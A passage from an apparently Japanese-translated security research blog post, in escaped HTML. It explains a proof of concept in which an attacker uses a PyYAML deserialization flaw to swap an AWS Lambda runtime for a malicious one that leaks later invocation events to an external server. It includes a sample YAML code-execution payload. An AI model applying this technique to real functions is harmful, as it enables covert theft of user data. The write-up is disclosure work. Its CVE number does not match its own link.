\u6b21\u306e\u547c\u3073\u51fa\u3057\u30a4\u30d9\u30f3\u30c8\u3092\u53d6\u5f97\u3057\u307e\u3059<\/li>\n<li><span class=\"lang:default decode:true crayon-inline \">\/2018-06-01\/runtime\/invocation\/{invoke-id}\/response<\/span>\u00a0 \u2013 \u547c\u3073\u51fa\u3057\u306b\u5bfe\u3059\u308b\u30cf\u30f3\u30c9\u30e9\u5fdc\u7b54\u3092\u8fd4\u3057\u307e\u3059<\/li>\n<li><span class=\"lang:default decode:true crayon-inline \">\/2018-06-01\/runtime\/invocation\/{invoke-id}\/error<\/span>\u00a0\u2013 \u5b9f\u884c\u30a8\u30e9\u30fc\u3092\u8fd4\u3057\u307e\u3059<\/li>\n<\/ol>\n<\/li>\n<li>bootstrap.py\u3067\u3001\u4ee5\u4e0b\u306e\u30eb\u30fc\u30d7\u304c<strong>init\u30d7\u30ed\u30bb\u30b9\u306b\u65b0\u898f\u30a4\u30d9\u30f3\u30c8\u3092\u554f\u3044\u5408\u308f\u305b<\/strong>\u3066\u304b\u3089\u3001<strong>\u30e6\u30fc\u30b6\u30fc\u306e\u95a2\u6570\u3092\u547c\u3073\u51fa\u3057<\/strong>\u3066\u51e6\u7406\u3057\u307e\u3059(\u3053\u3053\u3067\u306f\u3001\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3057\u305f\u8981\u6c42\u30cf\u30f3\u30c9\u30e9\u304c\u5b9f\u884c\u3055\u308c\u3066\u3044\u307e\u3059)\u3002<img  class=\"size-full wp-image-10588 aligncenter lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2019\/10\/lambda_poc_7_bootstrap_4.png\" alt=\"\" width=\"601\" height=\"250\" \/><\/li>\n<li>\u6b21\u306e\u3044\u305a\u308c\u304b\u306e\u30a8\u30f3\u30c9\u30dd\u30a4\u30f3\u30c8\u3092\u4ecb\u3057\u3066\u3001<strong>\u30cf\u30f3\u30c9\u30e9\u5fdc\u7b54\u304cinit\u30d7\u30ed\u30bb\u30b9\u306b\u623b\u3055\u308c\u307e\u3059<\/strong>\u3002\n<ol type=\"a\">\n<li><span class=\"lang:default decode:true crayon-inline \">\/{invoke-id}\/response<\/span>\u00a0 \u2013 \u30e6\u30fc\u30b6\u30fc\u30cf\u30f3\u30c9\u30e9\u304c\u6b63\u5e38\u306b\u5b9f\u884c\u3055\u308c\u305f\u5834\u5408<\/li>\n<li><span class=\"lang:default decode:true crayon-inline \">\/{invoke-id}\/error<\/span>\u00a0 \u2013 \u547c\u3073\u51fa\u3057\u3092\u51e6\u7406\u4e2d\u306b\u4f8b\u5916\u304c\u751f\u6210\u3055\u308c\u305f\u5834\u5408<\/li>\n<\/ol>\n<p>\u305d\u306e\u5f8c\u3001init\u30d7\u30ed\u30bb\u30b9\u306f\u3053\u306e\u5fdc\u7b54\u3092slicer\u306b\u6e21\u3057\u307e\u3059\u3002<\/li>\n<\/ol>\n<p>bootstrap.py\u304c\u30e6\u30fc\u30b6\u30fc\u306e\u30b3\u30fc\u30c9\u3092\u3069\u306e\u3088\u3046\u306b\u547c\u3073\u51fa\u3059\u304b\u306b\u6ce8\u76ee\u3057\u3066\u304f\u3060\u3055\u3044\u3002\u5b50\u30d7\u30ed\u30bb\u30b9\u3067\u5b9f\u884c\u3059\u308b\u306e\u3067\u306f\u306a\u304f\u3001\u5916\u90e8\u306epython\u30e2\u30b8\u30e5\u30fc\u30eb\u3068\u3057\u3066\u547c\u3073\u51fa\u3057\u307e\u3059\u3002\u3059\u306a\u308f\u3061\u3001RCE\u8106\u5f31\u6027\u304c\u542b\u307e\u308c\u3066\u3044\u308b\u53ef\u80fd\u6027\u306e\u3042\u308b\u30e6\u30fc\u30b6\u30fc\u30b3\u30fc\u30c9\u3092\u3001\u30d6\u30fc\u30c8\u30b9\u30c8\u30e9\u30c3\u30d7\u30d7\u30ed\u30bb\u30b9\u306e\u4e00\u90e8\u3068\u3057\u3066\u5b9f\u884c\u3057\u307e\u3059\u3002<\/p>\n<h5 style=\"font-size: 21px;\">\u305d\u306e\u4ed6\u306e\u30e9\u30f3\u30bf\u30a4\u30e0<\/h5>\n<p>\u305d\u306e\u4ed6\u306eLambda\u30e9\u30f3\u30bf\u30a4\u30e0\u306b\u3064\u3044\u3066\u3082\u3001\u7c21\u5358\u306b\u8abf\u3079\u3066\u307f\u307e\u3057\u305f\u3002\u30a4\u30f3\u30bf\u30fc\u30d7\u30ea\u30bf\u30d9\u30fc\u30b9\u306e\u30e9\u30f3\u30bf\u30a4\u30e0(NodeJS\u3001ruby)\u306f\u3001\u30d6\u30fc\u30c8\u30b9\u30c8\u30e9\u30c3\u30d7\u30d7\u30ed\u30bb\u30b9\u304c\u30e9\u30f3\u30bf\u30a4\u30e0\u306e\u8a00\u8a9e(\u305f\u3068\u3048\u3070\u3001ruby\u30e9\u30f3\u30bf\u30a4\u30e0\u3067\u306fbootstrap.rb)\u3067\u8a18\u8ff0\u3055\u308c\u308b\u3053\u3068\u4ee5\u5916\u306f\u3001Python\u30e9\u30f3\u30bf\u30a4\u30e0\u3068\u307b\u307c\u540c\u3058\u3067\u3059\u3002\u3053\u308c\u3089\u306e\u30e9\u30f3\u30bf\u30a4\u30e0\u306e\u65e7\u30d0\u30fc\u30b8\u30e7\u30f3(NodeJS 8\u3084Python 2.7\u306a\u3069)\u306f\u3084\u3084\u7570\u306a\u3063\u3066\u304a\u308a\u3001\u30d6\u30fc\u30c8\u30b9\u30c8\u30e9\u30c3\u30d7\u3068\u547c\u3070\u308c\u308b1\u3064\u306e\u30d7\u30ed\u30bb\u30b9\u306e\u307f\u3092\u6301\u3061\u3001init\u30d7\u30ed\u30bb\u30b9\u304c\u62c5\u5f53\u3059\u308b\u30bf\u30b9\u30af\u3082\u3053\u306e\u30d7\u30ed\u30bb\u30b9\u304c\u51e6\u7406\u3057\u307e\u3059\u3002<\/p>\n<p>\u4ed6\u306e\u30e9\u30f3\u30bf\u30a4\u30e0(Golang\u3001.net\u3001Java)\u306b\u306f\u3001\u305d\u308c\u305e\u308c\u72ec\u81ea\u306e\u5b9f\u88c5\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n<h3>\u8a08\u753b<\/h3>\n<p>\u76ee\u6a19\u306b\u623b\u308a\u307e\u3057\u3087\u3046\u3002Lambda\u306bRCE\u304c\u3042\u308b\u653b\u6483\u8005\u306f\u3001\u7279\u5b9a\u306e\u547c\u3073\u51fa\u3057\u3067\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3057\u307e\u3059\u304c\u3001\u5f8c\u7d9a\u306e\u547c\u3073\u51fa\u3057\u3067\u9001\u4fe1\u3055\u308c\u305f\u30c7\u30fc\u30bf\u306b\u30a2\u30af\u30bb\u30b9\u3057\u305f\u3044\u3068\u8003\u3048\u307e\u3059\u3002<strong>\u6c38\u7d9a\u6027<\/strong>\u3092\u78ba\u4fdd\u3059\u308b\u5fc5\u8981\u304c\u3042\u308b\u306e\u3067\u3059\u3002<\/p>\n<p>init\u30d7\u30ed\u30bb\u30b9\u307e\u305f\u306f\u30d6\u30fc\u30c8\u30b9\u30c8\u30e9\u30c3\u30d7\u30d7\u30ed\u30bb\u30b9\u3092\u72ec\u81ea\u306e\u60aa\u610f\u306e\u3042\u308b\u30d0\u30fc\u30b8\u30e7\u30f3\u306b\u7f6e\u304d\u63db\u3048\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u5834\u5408\u3001Lambda\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u306b\u9001\u4fe1\u3055\u308c\u305f\u3059\u3079\u3066\u306e\u30a4\u30d9\u30f3\u30c8\u3078\u306e\u30d5\u30eb\u30a2\u30af\u30bb\u30b9\u6a29\u3092\u5f97\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002\u30d6\u30fc\u30c8\u30b9\u30c8\u30e9\u30c3\u30d7\u30d7\u30ed\u30bb\u30b9\u306e\u65b9\u304c\u3088\u308a\u5bb9\u6613\u306b\u7f6e\u304d\u63db\u3048\u3089\u308c\u308b\u3088\u3046\u306b\u601d\u3048\u307e\u3059\u3002bootstrap.py\u306fPython\u30b9\u30af\u30ea\u30d7\u30c8\u3067\u3001init\u306e\u3088\u3046\u306aGolang\u30d0\u30a4\u30ca\u30ea\u3088\u308a\u3082\u7c21\u5358\u306b\u6a21\u5023\u3057\u3001\u5909\u66f4\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u305f\u3081\u3067\u3059\u3002<\/p>\n<p>\u6b21\u306b\u3001\u5b9f\u9a13\u306b\u4f7f\u7528\u3059\u308b\u3001\u8106\u5f31\u6027\u306e\u3042\u308bLambda\u304c\u5fc5\u8981\u3067\u3059\u3002<\/p>\n<h3>\u6a19\u7684\u306eLambda<\/h3>\n<p><img  class=\"size-full wp-image-10600 aligncenter lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2019\/10\/lambda_poc_8_targetLambda_1.png\" alt=\"\" width=\"652\" height=\"181\" \/><br \/>\nLambda\u306e\u5c0e\u5165\u306b\u306f\u3001<a href=\"https:\/\/pyyaml.org\/\" target=\"_blank\" rel=\"noopener noreferrer\">yaml<\/a>\u30e2\u30b8\u30e5\u30fc\u30ebv3.13\u304c\u30d1\u30c3\u30af\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u6b8b\u5ff5\u306a\u3053\u3068\u306b\u3001\u3053\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u306b\u306f<span class=\"lang:default decode:true crayon-inline \">yaml.load()<\/span>\u00a0\u95a2\u6570\u306e\u30b3\u30fc\u30c9\u5b9f\u884c\u8106\u5f31\u6027(<a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2017-18342\" target=\"_blank\" rel=\"noopener noreferrer\">CVE-2017-18432<\/a>)\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u6b21\u306b\u3001\u3053\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3057\u30661000 + 337\u3092\u8a08\u7b97\u3057\u3001\u6b21\u306e\u7d50\u679c\u3092\u51fa\u529b\u3059\u308b\u30da\u30a4\u30ed\u30fc\u30c9\u306e\u4f8b\u3092\u793a\u3057\u307e\u3059\u3002<\/p>\n<pre class=\"lang:default decode:true \">!!python\/object\/new:exec [ \"result = 1000 + 337; print('Output: ' + str(result))\" ]<\/pre>\n<p>\u3053\u308c\u3092Lambda\u306b\u9001\u4fe1\u3057\u3066\u30ed\u30b0\u3092\u8868\u793a\u3059\u308b\u3068\u3001\u30da\u30a4\u30ed\u30fc\u30c9\u5185\u306e\u30b3\u30fc\u30c9\u304c\u5b9f\u884c\u3055\u308c\u305f\u3053\u3068\u304c\u308f\u304b\u308a\u307e\u3059(Lambda\u306e\u51fa\u529b\u306fCloudWatch\u30ed\u30b0\u306b\u8ee2\u9001\u3055\u308c\u307e\u3059)\u3002<\/p>\n<p><img  class=\"size-full wp-image-10592 aligncenter lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_9_logs.png\" sizes=\"(max-width: 678px) 100vw, 678px\" srcset=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_9_logs.png 753w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_9_logs-300x33.png 300w\" alt=\"\" width=\"678\" height=\"74\" \/><br \/>\n1\u884c\u3060\u3051\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u8a18\u8ff0\u3057\u305f\u304f\u306a\u304b\u3063\u305f\u305f\u3081\u3001\u5c0f\u3055\u3044\u30d7\u30ed\u30b0\u30e9\u30e0<a href=\"https:\/\/github.com\/twistlock\/lambda-persistency-poc\/blob\/master\/poc\/create_evil_yaml.py\" target=\"_blank\" rel=\"noopener noreferrer\">create_evil_yaml.py<\/a>\u3092\u8a18\u8ff0\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u30d7\u30ed\u30b0\u30e9\u30e0\u306f\u3001Python\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u53d6\u5f97\u3057\u3066\u6709\u52b9\u306a\u30da\u30a4\u30ed\u30fc\u30c9\u306b\u8ee2\u9001\u3057\u307e\u3059\u3002<\/p>\n<p><img  class=\"aligncenter wp-image-100393 lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_xxx_createevilyaml-768x60.png\" sizes=\"(max-width: 563px) 100vw, 563px\" srcset=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_xxx_createevilyaml-768x60.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_xxx_createevilyaml-768x60-300x23.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_xxx_createevilyaml-768x60-370x29.png 370w\" alt=\"\" width=\"563\" height=\"44\" \/><\/p>\n<p>create_evil_yaml.py\u306f\u30c7\u30fc\u30bf\u30d5\u30a1\u30a4\u30eb\u3082\u53d6\u5f97\u3057\u3001\u30da\u30a4\u30ed\u30fc\u30c9\u3068\u3068\u3082\u306b\u4e0d\u6b63\u306ayaml\u30d5\u30a1\u30a4\u30eb\u306b\u633f\u5165\u3057\u307e\u3059\u3002\u30da\u30a4\u30ed\u30fc\u30c9\u306e\u5b9f\u884c\u6642\u306b\u306f\u3001\u3053\u306e\u30c7\u30fc\u30bf\u3092\u4e0d\u6b63\u306ayaml\u30d5\u30a1\u30a4\u30eb\u3067 <span class=\"lang:default decode:true crayon-inline \">external_data_b64<\/span>\u00a0\u3068\u3044\u3046\u5909\u6570\u3068\u3057\u3066\u5229\u7528\u3067\u304d\u307e\u3059\u3002<\/p>\n<h3>\u30e9\u30f3\u30bf\u30a4\u30e0\u306e\u7f6e\u63db<\/h3>\n<p>\u8106\u5f31\u6027\u306e\u3042\u308bLambda\u3092\u6e96\u5099\u3067\u304d\u305f\u306e\u3067\u3001\u30d6\u30fc\u30c8\u30b9\u30c8\u30e9\u30c3\u30d7\u30d7\u30ed\u30bb\u30b9\u3092\u7f6e\u63db\u3059\u308b\u8a08\u753b\u3092\u5b9f\u884c\u3057\u307e\u3059\u3002\u65b0\u3057\u3044\u30e9\u30f3\u30bf\u30a4\u30e0\u3092\u542b\u3080yaml\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u4f5c\u6210\u3057\u3001Lambda\u306b\u3042\u308b\u30d5\u30a1\u30a4\u30eb\u306b\u66f8\u304d\u8fbc\u307f\u3001 <tt><a href=\"https:\/\/docs.python.org\/3\/library\/os.html#os.execv\" target=\"_blank\" rel=\"noopener noreferrer\">os.execv<\/a><\/tt> \u3092\u547c\u3073\u51fa\u3057\u3066\u30d6\u30fc\u30c8\u30b9\u30c8\u30e9\u30c3\u30d7\u3092\u7f6e\u304d\u63db\u3048\u307e\u3059\u3002\u4ee5\u4e0b\u306b\u3001<a href=\"https:\/\/github.com\/twistlock\/lambda-persistency-poc\/blob\/master\/poc\/switch_runtime.py\" target=\"_blank\" rel=\"noopener noreferrer\">switch_rutime.py<\/a>\u306e\u30b3\u30fc\u30c9\u3092\u793a\u3057\u307e\u3059\u3002<\/p>\n<p><img  class=\"size-full wp-image-100383 aligncenter lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_10_switchruntime-1024x613.png\" sizes=\"(max-width: 1024px) 100vw, 1024px\" srcset=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_10_switchruntime-1024x613.png 1024w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_10_switchruntime-1024x613-300x180.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_10_switchruntime-1024x613-768x460.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_10_switchruntime-1024x613-900x539.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_10_switchruntime-1024x613-370x221.png 370w\" alt=\"\" width=\"1024\" height=\"613\" \/><\/p>\n<p>switch_runtime.py\u306f\u307e\u305a\u3001<tt><span class=\"lang:default decode:true crayon-inline \">external_data_b64<\/span>\u00a0<\/tt>\u304b\u3089\u65b0\u3057\u3044\u30e9\u30f3\u30bf\u30a4\u30e0\u3092\u30c7\u30b3\u30fc\u30c9\u3057\u307e\u3059\u3002\u6b21\u306b\u3001Lambda\u306e <span class=\"lang:default decode:true crayon-inline \">\/tmp<\/span>\u00a0 \u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u304c\u66f8\u304d\u8fbc\u307f\u53ef\u80fd\u304b\u3069\u3046\u304b\u3092\u78ba\u8a8d\u3057\u3001\u66f8\u304d\u8fbc\u307f\u53ef\u80fd\u306a\u5834\u5408\u306f<span class=\"lang:default decode:true crayon-inline \">\/tmp<\/span>\u00a0\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u306b\u65b0\u3057\u3044\u30e9\u30f3\u30bf\u30a4\u30e0\u3092\u66f8\u304d\u8fbc\u307f\u307e\u3059\u3002\u66f8\u304d\u8fbc\u307f\u53ef\u80fd\u3067\u306a\u3044\u5834\u5408\u306f\u3001 <tt><a href=\"https:\/\/man7.org\/linux\/man-pages\/man2\/memfd_create.2.html\" target=\"_blank\" rel=\"noopener noreferrer\">memfd_create<\/a><\/tt> syscall\u3092\u4f7f\u7528\u3057\u3066\u3001\u30d5\u30a1\u30a4\u30eb\u30b7\u30b9\u30c6\u30e0\u3067\u306f\u306a\u304f\u30e1\u30e2\u30ea\u5185\u306b\u30e9\u30f3\u30bf\u30a4\u30e0\u30d5\u30a1\u30a4\u30eb\u3092\u4f5c\u6210\u3057\u307e\u3059\u3002\u305d\u306e\u5f8c\u3001\u30da\u30a4\u30ed\u30fc\u30c9\u306f <span class=\"lang:default decode:true crayon-inline \">os.execv<\/span>\u00a0\u00a0\u3092\u547c\u3073\u51fa\u3057\u3066\u3001\u30d6\u30fc\u30c8\u30b9\u30c8\u30e9\u30c3\u30d7\u30d7\u30ed\u30bb\u30b9\u3092\u65b0\u3057\u3044\u30e9\u30f3\u30bf\u30a4\u30e0\u306b\u7f6e\u304d\u63db\u3048\u307e\u3059\u3002<\/p>\n<p>\u3054\u89a7\u306e\u3088\u3046\u306b\u3001switch_runtime.py\u306f\u65b0\u3057\u3044\u30e9\u30f3\u30bf\u30a4\u30e0\u306b1\u3064\u306e\u5f15\u6570 <tt>invoke_id<\/tt>\u3092\u6e21\u3057\u307e\u3059\u3002\u65b0\u3057\u3044\u30e9\u30f3\u30bf\u30a4\u30e0\u3092init\u30d7\u30ed\u30bb\u30b9\u306b\u518d\u63a5\u7d9a\u3059\u308b\u306b\u306f\u3001\u3053\u306e\u5f15\u6570\u304c\u5fc5\u8981\u3067\u3059\u3002\u306a\u305c\u5fc5\u8981\u304b\u3092\u7406\u89e3\u3059\u308b\u305f\u3081\u306b\u3001init\u30d7\u30ed\u30bb\u30b9\u3068\u30d6\u30fc\u30c8\u30b9\u30c8\u30e9\u30c3\u30d7\u30d7\u30ed\u30bb\u30b9\u304c\u901a\u5e38\u3001\u4e92\u3044\u306b\u3069\u306e\u3088\u3046\u306b\u3084\u308a\u53d6\u308a\u3059\u308b\u304b\u3092\u898b\u3066\u307f\u307e\u3057\u3087\u3046\u3002<\/p>\n<p><a href=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_11_regComm-768x333.png\" rel=\"wpdevart_lightbox\"><img  class=\"size-full wp-image-100385 aligncenter lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_11_regComm-768x333.png\" sizes=\"(max-width: 768px) 100vw, 768px\" srcset=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_11_regComm-768x333.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_11_regComm-768x333-300x130.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_11_regComm-768x333-370x160.png 370w\" alt=\"\" width=\"768\" height=\"333\" \/><\/a><\/p>\n<p>\u65b0\u3057\u3044\u30e9\u30f3\u30bf\u30a4\u30e0\u306f\u3001\u3053\u306e\u30d1\u30bf\u30fc\u30f3\u306e\u4e2d\u9803\u3067\u5b9f\u884c\u3092\u958b\u59cb\u3057\u307e\u3059\u3002<\/p>\n<p><a href=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_12_evilComm-768x346.png\" rel=\"wpdevart_lightbox\"><img  class=\"size-full wp-image-100387 aligncenter lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_12_evilComm-768x346.png\" sizes=\"(max-width: 768px) 100vw, 768px\" srcset=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_12_evilComm-768x346.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_12_evilComm-768x346-300x135.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_12_evilComm-768x346-370x167.png 370w\" alt=\"\" width=\"768\" height=\"346\" \/><\/a><\/p>\n<p>\u3053\u306e\u305f\u3081\u3001\u6b21\u306e\u30a4\u30d9\u30f3\u30c8\u3092\u8981\u6c42\u3059\u308b\u524d\u306b\u3001\u65b0\u3057\u3044\u30e9\u30f3\u30bf\u30a4\u30e0\u304c\u3001\u305d\u306e\u30e9\u30f3\u30bf\u30a4\u30e0\u3092\u751f\u6210\u3057\u305f\u30a4\u30d9\u30f3\u30c8\u306e\u5fdc\u7b54\u3092\u8fd4\u3059\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002\u305d\u306e\u305f\u3081\u306b\u306f\u3001\u30e9\u30f3\u30bf\u30a4\u30e0\u304c\u305d\u306e\u30a4\u30d9\u30f3\u30c8\u306einvoke id\u3092\u6301\u3064\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002\u5fdc\u7b54\u30a8\u30f3\u30c9\u30dd\u30a4\u30f3\u30c8URL\u306f <span class=\"lang:default decode:true crayon-inline \">\/${invoke-id}\/response<\/span>\u00a0\u3067\u3042\u308b\u305f\u3081\u3067\u3059\u3002<\/p>\n<p>switch_runtime.py\u306f\u30d6\u30fc\u30c8\u30b9\u30c8\u30e9\u30c3\u30d7\u30d7\u30ed\u30bb\u30b9\u306e\u30b3\u30f3\u30c6\u30ad\u30b9\u30c8\u3067\u5b9f\u884c\u3055\u308c\u308b\u305f\u3081\u3001bootstrap.py\u306e <span class=\"lang:default decode:true crayon-inline \">_GLOBAL_AWS_REQUEST_ID<\/span>\u00a0 \u5909\u6570\u304b\u3089invoke id\u3092\u62bd\u51fa\u3067\u304d\u307e\u3059\u3002\u3053\u308c\u306f\u3001<a href=\"https:\/\/docs.python.org\/3\/library\/inspect.html\" target=\"_blank\" rel=\"noopener noreferrer\">inspect<\/a>\u00a0Python\u30e2\u30b8\u30e5\u30fc\u30eb\u3092\u4f7f\u7528\u3057\u3066\u884c\u308f\u308c\u308b\u305f\u3081\u3001\u30d7\u30ed\u30bb\u30b9\u306e\u30b9\u30bf\u30c3\u30af\u3092\u8abf\u3079\u3066\u3001\u30b9\u30bf\u30c3\u30af\u306b\u4fdd\u5b58\u3055\u308c\u3066\u3044\u308b\u30c7\u30fc\u30bf\u306b\u30a2\u30af\u30bb\u30b9\u3067\u304d\u307e\u3059\u3002<\/p>\n<p>\u3053\u308c\u3067\u3001switch_runtime.py\u306f\u6e96\u5099\u3067\u304d\u307e\u3057\u305f\u3002\u6b8b\u308a\u306e\u4f5c\u696d\u306f\u65b0\u3057\u3044\u30e9\u30f3\u30bf\u30a4\u30e0\u3092\u8a18\u8ff0\u3059\u308b\u3060\u3051\u3067\u3059!<\/p>\n<h5 style=\"font-size: 21px;\">Twist\u30e9\u30f3\u30bf\u30a4\u30e0<\/h5>\n<p><a href=\"https:\/\/github.com\/twistlock\/lambda-persistency-poc\/blob\/master\/poc\/twist_runtime.py\" target=\"_blank\" rel=\"noopener noreferrer\">twist_runtime.py<\/a>\u306f\u3001\u5143\u306ebootstrap.py\u3092\u30b3\u30d4\u30fc\u3057\u3066\u3001\u3044\u304f\u3064\u304b\u306e\u5909\u66f4\u3092\u52a0\u3048\u305f\u3082\u306e\u3067\u3059\u3002<\/p>\n<ol style=\"padding-left: 50px;\">\n<li>\u30e9\u30f3\u30bf\u30a4\u30e0\u306f\u8d77\u52d5\u6642\u306b\u3001\u5f15\u6570\u3068\u3057\u3066\u53d7\u3051\u53d6\u3063\u305f<span class=\"lang:default decode:true crayon-inline \">invoke_id<\/span>\u00a0\u3092\u4f7f\u7528\u3057\u3066\u3001init\u30d7\u30ed\u30bb\u30b9\u306b\u7591\u4f3c\u5fdc\u7b54\u3092\u9001\u4fe1\u3057\u307e\u3059\u3002<\/li>\n<li>\u30e9\u30f3\u30bf\u30a4\u30e0\u304c\u53d7\u3051\u53d6\u3063\u305f\u5404\u30a4\u30d9\u30f3\u30c8\u306f\u3001\u5916\u90e8\u30b5\u30fc\u30d0\u30fc\u306b\u9001\u4fe1\u3055\u308c\u305f\u5f8c\u3001\u30e6\u30fc\u30b6\u30fc\u306e\u30cf\u30f3\u30c9\u30e9\u306b\u6e21\u3055\u308c\u307e\u3059\u3002<\/li>\n<li>\u307e\u305f\u3001\u30e9\u30f3\u30bf\u30a4\u30e0\u306f\u5404Lambda\u5fdc\u7b54\u306b\u77ed\u3044\u30e1\u30c3\u30bb\u30fc\u30b8\u3092\u8ffd\u52a0\u3057\u307e\u3059(\u4ee5\u4e0b\u306e\u30d3\u30c7\u30aa\u3067\u78ba\u8a8d\u3067\u304d\u307e\u3059)\u3002<\/li>\n<\/ol>\n<h3>\u5f8c\u7d9a\u306e\u547c\u3073\u51fa\u3057\u306e\u6f0f\u6d29\u306ePoC<\/h3>\n<p>\u3059\u3079\u3066\u3092\u307e\u3068\u3081\u305fPoC\u30d3\u30c7\u30aa\u3092\u4ee5\u4e0b\u306b\u793a\u3057\u307e\u3059\u3002\u30d3\u30c7\u30aa\u3067\u306f\u3001<a href=\"https:\/\/github.com\/twistlock\/lambda-persistency-poc\/blob\/master\/poc\/sendYamlData.py\" target=\"_blank\" rel=\"noopener noreferrer\">sendYamlData.py<\/a>\u3092\u4f7f\u7528\u3057\u3066Lambda\u306byaml\u30d5\u30a1\u30a4\u30eb\u3092\u9001\u4fe1\u3057\u3001\u5fdc\u7b54\u3092\u51fa\u529b\u3057\u3066\u3044\u307e\u3059\u3002<br \/>\n<script id=\"asciicast-8t3OL2DNrw4Oi4BkL0XJtvtQq\" src=\"https:\/\/asciinema.org\/a\/8t3OL2DNrw4Oi4BkL0XJtvtQq.js\" async=\"\" data-player=\"[object HTMLDivElement]\"><\/script><\/p>\n<div id=\"asciicast-container-8t3OL2DNrw4Oi4BkL0XJtvtQq\" class=\"asciicast\" style=\"display: block; float: none; overflow: hidden; padding: 0px; margin: 20px 0px;\"><iframe style=\"overflow: hidden; margin: 0px; border: 0px; display: inline-block; width: 817px; float: none; visibility: visible; height: 754px;\" src=\"https:\/\/asciinema.org\/a\/8t3OL2DNrw4Oi4BkL0XJtvtQq\/embed?\" id=\"asciicast-iframe-8t3OL2DNrw4Oi4BkL0XJtvtQq\" name=\"asciicast-iframe-8t3OL2DNrw4Oi4BkL0XJtvtQq\" scrolling=\"no\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/div>\n<p>\u4ee5\u4e0b\u306b\u3001\u653b\u6483\u306e\u6d41\u308c\u3092\u793a\u3057\u307e\u3059\u3002<\/p>\n<h5 style=\"font-size: 21px;\"><a href=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_13_attackflow-1024x716.png\" rel=\"wpdevart_lightbox\"><img  class=\"size-full wp-image-100389 aligncenter lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_13_attackflow-1024x716.png\" sizes=\"(max-width: 1024px) 100vw, 1024px\" srcset=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_13_attackflow-1024x716.png 1024w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_13_attackflow-1024x716-300x210.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_13_attackflow-1024x716-768x537.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_13_attackflow-1024x716-900x629.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/lambda_poc_13_attackflow-1024x716-370x259.png 370w\" alt=\"\" width=\"1024\" height=\"716\" 